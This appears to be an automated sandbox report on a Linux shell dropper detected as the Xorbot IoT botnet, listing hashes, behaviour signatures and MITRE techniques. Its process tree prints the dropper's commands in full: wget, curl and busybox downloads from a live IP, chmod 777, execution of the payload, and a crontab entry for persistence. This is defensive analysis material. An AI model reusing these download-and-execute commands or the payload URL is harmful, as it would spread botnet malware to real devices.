Analysis
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max time kernel
149s -
max time network
161s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
27/02/2025, 23:26
General
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Target
ZENNW_5CAY8_bins.sh
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Size
10KB
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MD5
5cae212a65109f1a0f1218d70286d4b0
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SHA1
1f0fb32f13a4e4ad9463a27c76e9b76591a92408
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SHA256
af798822bd6bbe4e5648d097c02ed204fada91fcf1260c48cf0fa9a190e30b6c
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SHA512
d3ea3fdfdc55fb8881318fd786c2bc94d83051e51f345bb9bbe6523215acd0367cc3e26a840de561b8aae9e3915c6f2c2d2b2d49b73a6e04f66eb14293c17ffe
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SSDEEP
192:QyeOaCMsvmyHcwni6q4YBC+7cR9aP3Ty/IDq4YBC+vER9aP3asDNsTMsvmyzcwnQ:QyeOaCMsvmyHcwni6q4YBC+IR9aP3TqP
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2201) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/ZENNW_5CAY8_bins.sh/tmp/ZENNW_5CAY8_bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- File and Directory Permissions Modification
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/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD5117d89c08dfc78d50414e9209fa75b75
SHA18fb7eef7c352fdf27c837715235116d8bd9a8c8b
SHA256e3dead3a6251b9cf2a8119f3ca32f610fc7ce6b2a2bd29a9e5f1093af6f1ed25
SHA51207842512f1c2ff7817fb4fc19919da9dc232df26d605eb1eb0a9a0aa66a093cf131737816c7de5f71710b1a29eec9e5b0b34ca43d72eb4d29832159d33ea0b91